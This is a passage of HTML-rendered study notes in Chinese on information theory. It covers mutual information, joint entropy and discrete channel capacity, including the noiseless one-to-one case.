class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>这表示原本传递信息之前，X 和 Y 是独立的，提供的信息熵为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span>。但是当 X 和 Y 通信后，X Y 作为整体所提供的信息熵就变成了 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span>，二者之差就是传递的信息量。</p><h3 id="信源熵互信息量的关系">信源熵互信息量的关系</h3><p>下面的图中，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span></span></span></span> 表示 X Y 重叠部分，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span></span></span></span> 表示两个圆的组合，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span></span></span></span> 表示圆 X 挖去了圆 Y 的部分。</p><img src="http://cdn.blog-blockchain.xyz/202305272140486.png" alt="image-20230527214039394" style="zoom:50%;" /><img src="http://cdn.blog-blockchain.xyz/202305272141068.png" alt="image-20230527214102898" style="zoom:50%;" /><h3 id="单符号离散信道容量">单符号离散信道容量</h3><p>仍然假设输入$X\in { a_1,a_2,\cdots a_n } $，输出 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span>，那么信息从 X 传递到 Y 的转移概率矩阵，也叫做信道矩阵如下：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.8em;vertical-align:-2.15em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.667em;height:4.800em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="4.800em" viewBox="0 0 667 4800"><path d="M403 1759 V84 H666 V0 H319 V1759 v1200 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v1200 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="minner">⋯⋯</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.667em;height:4.800em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="4.800em" viewBox="0 0 667 4800"><path d="M347 1759 V0 H0 V84 H263 V1759 v1200 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v1200 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>信道容量通过调整 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>的概率分布，实现 X 和 Y 最大的互信息量，也就是最大的可以承载的能力。</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.212em;vertical-align:-1.856em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.356em;"><span style="top:-4.516em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.856em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.356em;"><span style="top:-4.516em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4306em;"><span style="top:-2.309em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="minner mtight"><span class="mopen mtight delimcenter" style="top:0em;"><span class="mtight">(</span></span><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mclose mtight delimcenter" style="top:0em;"><span class="mtight">)</span></span></span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">max</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.966em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4306em;"><span style="top:-2.309em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="minner mtight"><span class="mopen mtight delimcenter" style="top:0em;"><span class="mtight">(</span></span><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mclose mtight delimcenter" style="top:0em;"><span class="mtight">)</span></span></span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">max</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.966em;"><span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4306em;"><span style="top:-2.309em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="minner mtight"><span class="mopen mtight delimcenter" style="top:0em;"><span class="mtight">(</span></span><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mclose mtight delimcenter" style="top:0em;"><span class="mtight">)</span></span></span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">max</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.966em;"><span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)]</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.856em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>一般的信道容量是比较复杂的，只需要掌握特殊的即可。很多时候入门信息论，都是定性分析。<strong>优化的变量，都是 X 的符号的概率，而不是 Y 的概率。</strong></p><p><strong>无噪声 X 和 Y 一对一：</strong></p><p>那么转移概率矩阵就是每行一个 1，而且每列一个 1，那么 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">max</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span></span></p><p><strong>无噪声 X 和 Y 一对多：</strong></p><p>信道矩阵就是每行若干个概率，但是每一列只有一个不为 0</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span 